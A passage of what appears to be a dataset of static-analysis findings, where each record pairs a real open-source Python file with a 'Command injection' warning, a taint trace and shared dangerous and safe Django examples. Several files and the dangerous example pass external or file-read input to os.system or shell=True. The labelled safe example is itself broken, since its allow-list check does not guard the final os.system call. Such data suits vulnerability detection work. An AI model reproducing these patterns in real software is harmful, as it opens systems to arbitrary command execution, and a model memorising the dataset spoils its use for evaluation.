Image.open(file_list[0])\n input_w, input_h = first_img.size # (width, height)\n input_dims = (input_h, input_w)\n input_count = input_stacks\n iterate_dim = 2\n else:\n # open as hdf5 file\n h5_file = h5py.File(data_path, \"r\")\n h5_data_key = config[\"source_hdf5_dataset_name\"]\n h5_data = h5_file[h5_data_key]\n\n # with H5 data, iterate over the first dimension (x), which is different to when reading from image stacks.\n # it is much faster to slice on the initial dimension(s) than on later ones (eg z).\n # find dimensions of data. if 4 dims assume format is (layers, x, y, z), and only read from first layer. don't try and\n # index the layer at the start as it would load the whole array in memory, perform indexing with each iteration\n if h5_data.ndim == 4:\n input_size = h5_data.shape[1:]\n else:\n input_size = h5_data.shape\n input_count = input_size[0]\n input_dims = input_size[1:3]\n iterate_dim = 0\n\n # find the downsample factor to fit within the given bounds. only allow reducing size\n ratios = [min(1.0, x / y) for x, y in zip(bound_size, input_dims)]\n reduce_ratio = np.min(ratios)\n\n # find target image size\n target_imgs = math.ceil(input_count * reduce_ratio)\n target_dims = tuple([math.ceil(x * reduce_ratio) for x in input_dims])\n\n def find_frame_score(input_idx, div_steps, out_slice):\n lower_bound = max(input_idx, div_steps[out_slice])\n upper_bound = min(input_idx + 1, div_steps[out_slice + 1])\n return upper_bound - lower_bound\n\n # read slices in turn\n logging.info(\n \"found %d images(slices), input dim (w %d, h %d), target dim %s, %d slices\"\n % (input_count, input_dims[1], input_dims[0], target_dims, target_imgs)\n )\n input_slices = {}\n division_steps = np.arange(target_imgs + 1) * (1.0 / reduce_ratio)\n output_slice = 0\n range_start = 0\n range_end = math.ceil(division_steps[1])\n output_slices = []\n for count in tqdm(range(input_count)):\n if read_tiff_stack:\n this_file = file_list[count]\n this_img = Image.open(this_file)\n else:\n if h5_data.ndim == 4:\n this_img = Image.fromarray(h5_data[0, count])\n else:\n this_img = Image.fromarray(h5_data[count])\n\n resized_img = this_img.resize(target_dims, Image.NEAREST)\n input_slices[count] = resized_img\n\n # check if we have enough slices to output the next slice\n if count >= range_end - 1:\n slices = np.stack(\n [\n np.array(input_slices[x])\n for x in range(range_start, range_end)\n ]\n ) # (slices, width, height)\n slice_weights = np.array(\n [\n find_frame_score(x, division_steps, output_slice)\n for x in range(range_start, range_end)\n ]\n ) # (slices,)\n\n reduced_slice = (slices * slice_weights[:, None, None]).sum(\n axis=0\n ) / slice_weights.sum()\n output_slices.append(reduced_slice)\n\n # update output slice number and input slice range\n output_slice += 1\n if output_slice < target_imgs:\n range_start = math.floor(division_steps[output_slice])\n range_end = math.ceil(division_steps[output_slice + 1])\n\n # remove stored input slices outside of range\n remove_input_frames = [\n x\n for x in input_slices.keys()\n if x < range_start or x > range_end\n ]\n for x in remove_input_frames:\n input_slices.pop(x)\n\n # write output slices\n output_array = np.stack(output_slices, axis=iterate_dim)\n if reduce_annotation:\n # discretise results and write in annotation format\n discrete_array = (output_array > 0.5).astype(\"int\")\n\n # define segment fields. only a single segment is given as output in current method\n sample_fields = {\n \"Segment0_Color\": \"0.525666 0.813434 0.324\",\n \"Segment0_ColorAutoGenerated\": \"1\",\n \"Segment0_Extent\": \"0 %d 0 %d 0 %d\"\n % tuple((np.array(output_array.shape) - 1).tolist()),\n \"Segment0_ID\": \"Generated_0\",\n \"Segment0_LabelValue\": \"1\",\n \"Segment0_Layer\": \"0\",\n \"Segment0_Name\": \"Generated_0\",\n \"Segment0_NameAutoGenerated\": \"1\",\n \"Segment0_Tags\": \"Segmentation.Status:inprogress|TerminologyEntry:Segmentation category and type - 3D Slicer General Anatomy list~SRT^T-D0050^Tissue~SRT^T-D0050^Tissue~^^~Anatomic codes - DICOM master list~^^~^^|\",\n }\n\n scales = np.identity(3, dtype=\"float\")\n write_annot_file(\n index_name=None,\n write_path=None,\n annot_data=discrete_array,\n annot_fields=sample_fields,\n scales=scales,\n annot_write_path=write_data_path,\n )\n logging.info(\n \"Created reduced segmentation in: %s\" % (write_data_path,)\n )\n launch_args = [write_data_path]\n\n else:\n # write out reduced volume data\n # create Nifti1 format object from array\n # define affine transform matrix representing scaling transform\n aff_matrix = np.identity(4, dtype=\"float\")\n np.fill_diagonal(aff_matrix, [1.0 / reduce_ratio] * 3)\n nifti_object = nib.Nifti1Image(output_array, aff_matrix)\n overviews_path = get_full_path(config, subdir_num, \"overviews_path\")\n os.makedirs(overviews_path, exist_ok=True)\n nib.save(nifti_object, write_data_path)\n\n # create sample coverage segmentation file\n if not os.path.exists(write_coverage_path):\n script_path = os.path.dirname(os.path.abspath(__file__))\n default_file = os.path.join(\n script_path, os.pardir, default_seg_file\n )\n shutil.copyfile(default_file, write_coverage_path)\n logging.info(\n \"Copying initial coverage annotation from %s to %s\"\n % (default_file, write_coverage_path)\n )\n\n logging.info(\n \"Created overview data in: %s , and empty coverage annotation in: %s\"\n % (write_data_path, write_coverage_path)\n )\n launch_args = [write_data_path, write_coverage_path]\n\n args = [config[\"slicer_path\"]] + launch_args\n launch_command = \" \".join(args)\n if launch_editor:\n logging.info(\"Launching Slicer editor with arguments: %s\" % args)\n subprocess.run(launch_command, shell=True)\n else:\n logging.info(\n \"You can open this in Slicer manually, or launch it with: %s\"\n % (launch_command,)\n )\n\n\ndef main():\n init_logging()\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-c\", \"--config_file\", help=\"Project config file\", required=True\n )\n parser.add_argument(\n \"-s\", \"--subdir\", help=\"Data subdirectory number\", required=False\n )\n parser.add_argument(\n \"-l\",\n \"--launch\",\n help=\"Launch Slicer to edit piece\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"-g\",\n \"--generated_data\",\n help=\"Generated annotation to reduce\",\n required=False,\n )\n parser.add_argument(\n \"-o\",\n \"--generated_data_output\",\n help=\"Output file for reducing generated data\",\n required=False,\n )\n\n args = parser.parse_args()\n config = load_config(args.config_file)\n\n if args.generated_data is None:\n # produce overview, read source data from tiff files in given directory or an HDF5 file,\n # and downsample to given size\n if not isinstance(args.subdir, str) or not args.subdir.isnumeric():\n raise RuntimeError(\"Subdir should be a number\")\n subdir_num = int(args.subdir)\n reduce_source_data(\n config,\n overview_bound_size,\n subdir_num,\n args.launch,\n )\n else:\n # perform reduction of generated annotation data\n assert args.generated_data_output is not None\n if os.path.exists(args.generated_data_output):\n raise RuntimeError(\n \"Generated data output already exists: %s\"\n % args.generated_data_output\n )\n\n reduce_source_data(\n config,\n overview_bound_size,\n None,\n args.launch,\n reduce_annotation=True,\n source_format=\"hdf5\",\n data_path=args.generated_data,\n write_data_path=args.generated_data_output,\n )\n\n\nif __name__ == \"__main__\":\n main()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 259, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "259"}}, {"lineNo": 261, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "725152b5806be7b1f60ab0516497316305657a30aa5bc189aa770b0445bf18c9", "license": {"spdx": ["MIT"], "repo": "anushkrishnav/QiskitBot", "path": "podman/cogs/docs.py", "repo_head_hexsha": "1aa2bca3f123a6f5d1c153306df8e1c7906f3394", "stack_hexsha": "38d75b1e2e59c265f98796cc3c6702803e52397d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 18, "entireCode": "import discord \nfrom discord.ext import commands\nimport asyncio \nimport subprocess \nimport logging\nimport re\n\n\nlogger = logging.getLogger(__name__)\n\nclass DocInfo(commands.Cog):\n def __init__(self, bot): \n self.bot = bot\n \n @commands.command(name = 'docs')\n async def docs(self, ctx, *, arg):\n if re.match('^`[A-Za-z]{1,20}`$', arg):\n out = subprocess.run( f'echo \"from qiskit import *\\nhelp({arg[1:-1]})\" | python3', \n shell = True, text = True, capture_output = True)\n if out.returncode == 0:\n embed = discord.Embed(title = f'Info on {arg}', \n description = f'```py{out.stdout}```')\n await ctx.send(embed = embed)\n else:\n embed = discord.Embed(title = 'Error', \n description = 'Try again with a correct class or function name and with a limit of 20 characters.')\n await ctx.send(embed = embed)\n\n\ndef setup(bot):\n bot.add_cog(DocInfo(bot))\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "17"}}, {"lineNo": 18, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "f48e47d1344878030168ee5e8333985427d9a4d0f3864a8e522fdfde96e4415a", "license": {"spdx": ["MIT"], "repo": "Cyber2f08/AgentSudo", "path": "worker/service/npx.py", "repo_head_hexsha": "3cc06eb13a66523952142cc9793a31dd66ca6b78", "stack_hexsha": "dc8efdd7028531bc7a84a75d699a50abce19b603", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 122, "entireCode": "import os, sys\nimport random\nimport glob\nimport json\nimport itertools\nfrom rich import print\nfrom sys import platform\n\n# PYINT\nimport os, sys, requests, platform\n\n\nimport time, random\nEMP = \"[[cyan]Purify[/cyan]]\"\nPTS = []\nPTM = []\nINST = 0\nINIT = os.getcwd()\nPATH = \"\\package\\scripts\\\\\"\nFULL = INIT+PATH\nERR_NOT_FOLD = \"[MEM] Error folder not found\"\nos.chdir(\"bin/\")\n\nclass script():\n\tdef install():\n\t\tglobal INST\n\t\t#print(\"[[cyan]NPX[/cyan]] NPX Package management is still going under development... (PLEASE WAIT) \")\n\t\tprint(\"[[purple]NPX[/purple]] Initialized... (v1)\")\n\t\ttime.sleep(random.uniform(3, 0.01))\n\t\ttime.sleep(random.uniform(0.1, 0.001))\n\t\tprint(\"[[cyan]NPX[/cyan]] Initiating [green]purify[/green] scripts... \")\n\t\tprint(\"[[yellow]NPX[/yellow]] Pulling local addon scripts...\")\n\t\tfor file in os.listdir(FULL):\n\t\t\tif file.endswith(\".json\"):\n\t\t\t\tPTM.append(file)\n\t\t\t\tPTS.append(FULL+file)\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tcontinue\n\t\ttry:\n\t\t\terr_checkout = PTS[0]\n\t\t\tfor xf in range(len(PTS)):\n\t\t\t\twith open(str(PTS[xf])) as f:\n\t\t\t\t\t#try:\n\t\t\t\t\trdata = json.load(f)\n\t\t\t\t\tprint(f\"[[green]NPX[/green]] Running purify on, Script: {PTM[xf]}\")\n\t\t\t\t\tprint(f\"[[cyan]Purify[/cyan]] Running...\")\n\t\t\t\t\ttry:\n\t\t\t\t\t\tNPXM = rdata[\"PACKAGE_\"]\n\t\t\t\t\t\tVER = rdata[\"VERSION\"]\n\t\t\t\t\t\tSTAT = rdata[\"DISABLE\"]\n\t\t\t\t\t\tLOG = rdata[\"LOG\"]\n\t\t\t\t\t\tAUTH = rdata[\"AUTHOR\"]\n\t\t\t\t\texcept KeyError:\n\t\t\t\t\t\tprint(\"[[red]Purify[/red]] Error, this row must be in requirements.. (PACKAGE_, VERSION, DISABLE, LOG, AUHOR)\")\n\t\t\t\t\t\tprint(f\"[[red]Purify[/red]] Moving to the next one, Remove the script or Modify it. We dont know which one!\")\n\t\t\t\t\t\tcontinue\n\t\t\t\t\ttry:\n\t\t\t\t\t\tCMD_ = rdata[\"CMD\"]\n\t\t\t\t\t\tPYINT = None\n\t\t\t\t\texcept KeyError:\n\t\t\t\t\t\tprint(\"[[yellow]Purify[/yellow]] CMD Row is empty or not be displayed.. Checking [green]pyinstance[/green] (PYINT) row... \")\n\t\t\t\t\t\tCMD_ = None\n\t\t\t\t\t\tPYINT = rdata[\"PYINT\"]\n\t\t\t\t\tif STAT != \"false\":\n\t\t\t\t\t\tprint(f\"[[yellow]Purify[/yellow]] {PTM[xf]} has been disabled, Next!\")\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tprint(f\"[[cyan]Purify[/cyan]] Running package with name of {NPXM} version {VER}\")\n\t\t\t\t\ttime.sleep(1)\n\t\t\t\t\tprint(f'''[[cyan]Purify[/cyan]] Information about the creator of {NPXM}: \\n[[yellow]Purify[/yellow]] Author: {AUTH[\"NAME\"]} \\n[[yellow]Purify[/yellow]] Email: {AUTH[\"EMAIL\"]}''')\n\t\t\t\t\ttime.sleep(1)\n\t\t\t\t\tprint(f\"[[cyan]NPX[/cyan]] Script seems stable...\")\n\t\t\t\t\tprint(f\"[[yellow]Purify[/yellow]] Logs: {LOG}\")\n\t\t\t\t\tif CMD_ == None and PYINT != None:\n\t\t\t\t\t\tprint(f\"[[cyan]Purify[/cyan]] Running pyint for internal execution... (FUNC ON INTERNAL)\")\n\t\t\t\t\t\trd = PYINT.split()\n\t\t\t\t\t\tif rd[0] == 'REQUEST' or rd[0] == 'REQUEST'.lower:\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tMETHOD = rd[1]\n\t\t\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] METHOD for requests isnt specified which is critical...\")\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] Continuing to the next package...\")\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tURL = rd[2]\n\t\t\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] URL for requesting isnt specified which is critical...\")\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] Continuing to the next package...\")\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tTODO = rd[3]\n\t\t\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] What to do isnt specified which is critical...\")\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] Continuing to the next package...\")\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tPATH = rd[4]\n\t\t\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\t\t\tprint(\"[[yellow]NPX[/yellow]] Path to file isnt specified which is great!\")\n\t\t\t\t\t\t\tif METHOD == 'GET' or METHOD == 'GET'.lower:\n\t\t\t\t\t\t\t\tdata = requests.get(URL)\n\t\t\t\t\t\t\t\tprint(f\"[[yellow]Purify[/yellow]] Running requests on {URL}\")\n\t\t\t\t\t\t\t\tif TODO == 'PRT_STATUS':\n\t\t\t\t\t\t\t\t\tprint(\"[[yellow]Purify[/yellow]] Logs: Server status,\", data.ok)\n\t\t\t\t\t\t\t\telif TODO == 'PRINT_TXT_TO_FILE':\n\t\t\t\t\t\t\t\t\tprint(\"[[yellow]Purify[/yellow]] Logs: Retrieving text to file from server... [BETA CANNOT USE IT NOW...]\")\n\t\t\t\t\t\t\t\telif TODO == 'PRINT_TXT':\n\t\t\t\t\t\t\t\t\tprint(\"[[green]Purify[/green]] Here comes a nuke requests text... \")\n\t\t\t\t\t\t\t\t\tprint(data.text)\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] TODO Function isnt match!\")\n\t\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] Continuing to the next package...\")\n\t\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\telif METHOD == 'POST' or METHOD == 'POST'.lower:\n\t\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tprint(f\"[[yellow]Purify[/yellow]] Package successfuly to launch... Moving to next package\")\n\t\t\t\t\t\tINST += 1\n\t\t\t\t\telif CMD_ != None and PYINT == None:\n\t\t\t\t\t\tprint(f\"[[green]Purify[/green]] CMD row comand detected without pyinstance which is good! \")\n\t\t\t\t\t\tprint(f\"[[yellow]NPX[/yellow]] Running commands available...\")\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tos.system(CMD_)\n\t\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t\tprint(f\"[[red]CMD[/red]] Failed to launch, error: {e}. Next package...\")\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tprint(f\"[[yellow]Purify[/yellow]] Package successfuly to launch/install... Moving to next package\")\n\t\t\t\t\t\tINST += 1\n\t\t\t\t\t\t#except Exception as e:\n\t\t\t\t\t\t#\tprint(f\"[[purple]NPX[/purple]] Script: {PTM[xf]}, Error: {e}. (*)!, Skipping.. [[red]=====[/red]]\")\n\t\t\t\t\tcontinue\n\t\texcept IndexError:\n\t\t\tprint(\"[[red]NPX[/red]] There is no script available\")\n\t\tprint(f\"[[yellow]NPX[/yellow]] Done.. ({INST} Installed packages ).. Happy hacking..\")", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 59, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "rdatascript.install.rdata[\"CMD\"]"}}, {"lineNo": 59, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 118, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "118"}}, {"lineNo": 122, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "68f5339dc95d3577753b3013f0057143b0e0c216e78947b84e8379ad941b100f", "license": {"spdx": ["MIT"], "repo": "ryanjsfx2424/HowToNFTs", "path": "GoogleCloud/backend.py", "repo_head_hexsha": "f4cff7ad676d272815bd936eb142556f92540a32", "stack_hexsha": "db1fd3d38056cafb0f7ff39c5a005804f923571f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 70, "entireCode": "## backend.py\n\"\"\"\nThe purpose of this script is to continuously monitor the blockchain to\n1) determine if a holder aquires or loses an NFT:\n2) if they do, generate a new image/movie for the tokens they hold,\n3) upload the new image/movie to the hosting service\n4) update the metadata file\nRepeat :)\n\n(The above ordering matters!)\n\"\"\"\n\n## use python3!!!\nimport os\nimport io\nimport json\nfrom web3 import Web3\n\n## PARAMETERS\nDEPLOYER_ADDRESS = \"0x01656d41e041b50fc7c1eb270f7d891021937436\"\nINFURA_URL = \"https://rinkeby.infura.io/v3/37de3193ccf345fe810932c3d0f103d8\"\n\nEXT_IMG = \".mp4\"\nEXT_METADATA = \".json\"\n\nADDRESS = \"0xb552E0dDd94EA72DBc089619115c81529cd8CA70\" # address for deployed smart contract\n\n## web3 stuff\nw3 = Web3(Web3.HTTPProvider(INFURA_URL))\n\nwith open(\"../contract/abi_v020.json\", \"r\") as fid:\n rl = \"\".join(fid.readlines())\n abi = json.loads(rl)\n# end with open\n\n## goal is to update token URI based on how many are held\n## by that owner (but deployer doesn't count!)\ncontract = w3.eth.contract(address=ADDRESS, abi=abi)\n\ntotalSupply = contract.functions.totalSupply().call()\nprint(\"total supply: \", totalSupply)\n\nfor ii in range(totalSupply):\n token = contract.functions.tokenByIndex(ii).call()\n owner = contract.functions.ownerOf(token).call()\n tokenList = contract.functions.walletOfOwner(owner).call()\n\n ## string comparison fails for some mysterious reason\n if int(owner,16) == int(DEPLOYER_ADDRESS,16):\n tokenList = [ii+1]\n # end if\n\n print(\"token: \", token)\n print(\"owner: \", owner)\n print(\"tokenList: \", tokenList)\n\n newTokenName = str(token)\n for jj in range(len(tokenList)):\n if tokenList[jj] != token:\n newTokenName += \"_\" + str(tokenList[jj])\n # end if\n # end for jj\n print(\"newTokenName: \", newTokenName)\n\n ## first, check if metadata on hosting service has newTokenName.\n ## if so, we're good! If not, update it!\n old_foos = []\n metadata_correct = False\n\n os.system(\"gsutil ls gs://how-to-nfts-metadata/foo\" + str(token) + \".txt\"\n + \" > foo_file0.txt\")\n os.system(\"gsutil ls gs://how-to-nfts-metadata/foo\" + str(token) + \"_*.txt\"\n + \" > foo_file1.txt\")\n\n for jj in range(2):\n with open(\"foo_file\" + str(jj) + \".txt\", \"r\") as fid:\n for line in fid:\n old_foos.append(line)\n if \"foo\" + newTokenName + \".txt\" in line:\n metadata_correct = True\n # end if\n # end for\n # end with\n os.system(\"rm foo_file\" + str(jj) + \".txt\")\n # end for jj\n print(\"old_foos: \", old_foos)\n\n if metadata_correct:\n print(\"metadata correct (supposedly) so skipping\")\n continue\n # end if\n\n if len(old_foos) > 1:\n print(\"error! only expected one old foo file.\")\n raise\n # end if\n old_foo = old_foos[0][:-1] # strip trailing newline character\n old_foo = old_foo.split(\"metadata/\")[1]\n print(\"old_foo: \", old_foo)\n\n ## evidently metadata is not correct...\n ## first, we generate a new movie (if needed) and rsync with\n ## the GCP bucket.\n ## then, we'll update the metadata file, remove the old foo\n ## file and touch a new one\n ## then we'll rsync the metadata folder with the bucket.\n\n target = \"../nftmp4s/HowToKarate\" + str(token) + \".mp4\"\n destination = \"../nftmp4s/HowToKarate\" + newTokenName + \".mp4\"\n if not os.path.exists(destination):\n os.system(\"cp \" + target + \" \" + destination)\n for jj in range(len(tokenList)):\n if tokenList[jj] != token:\n print(\"destination: \", destination)\n print(\"tokenList[jj]: \", tokenList[jj])\n os.system('ffmpeg -y -i ' + destination + ' -i nftmp4s/HowToKarate' + str(tokenList[jj]) + '.mp4' + \\\n ' -filter_complex \"[0:v] [1:v]' + \\\n ' concat=n=2:v=1 [v]\"' + \\\n ' -map \"[v]\" ' + \"concat.mp4\")\n os.system(\"mv concat.mp4 \" + destination)\n # end if\n # end for jj\n ## note, can rsync in parallel via rsync -m...\n os.system(\"gsutil rsync ../nftmp4s/ gs://how-to-nfts-data/\")\n # end if\n \n ## next, we'll update the metadata file, remove the old foo\n ## file and touch a new one\n ## then we'll rsync the metadata folder with the bucket.\n os.system(\"cp ../metadata/\" + str(token) + \".json temp.json\")\n with open(\"../metadata/\" + str(token) + \".json\", \"w\") as fid_write:\n with open(\"temp.json\", \"r\") as fid_read:\n for line in fid_read:\n if '\"image\":' in line:\n line = line.split(\"HowToKarate\")[0] + \"HowToKarate\" + \\\n str(newTokenName) + '.mp4\",\\n'\n # end i\n fid_write.write(line)\n # end for line\n # end with open write\n # end with open read\n os.system(\"rm temp.json\")\n os.system(\"touch ../metadata/foo\" + str(newTokenName) + \".txt\")\n os.system(\"rm ../metadata/\" + old_foo)\n\n ## last, we need to update the _metadata file and then rsync.\n with open(\"../metadata/_metadata.json\", \"w\") as fid_write:\n fid_write.write(\"{\\n\")\n for jj in range(1,25):\n with open(\"../metadata/\" + str(jj) + \".json\", \"r\") as fid_read:\n for line in fid_read:\n if \"}\" in line and len(line) == 2 and jj != 24:\n line = \"},\\n\"\n # end if\n fid_write.write(line)\n # end for\n # end with open\n fid_write.write(\"}\")\n # end with open\n\n os.system(\"gsutil rsync -d ../metadata/ gs://how-to-nfts-metadata/\")\n# end for ii\n## end test.py", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "readlines"}}, {"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "join"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.loads"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "contract"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "contractcontract.functions"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "totalSupply"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "call"}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "range"}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "tokenByIndex"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "contractcontract.functions"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "call"}}, {"lineNo": 70, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "str"}}, {"lineNo": 70, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
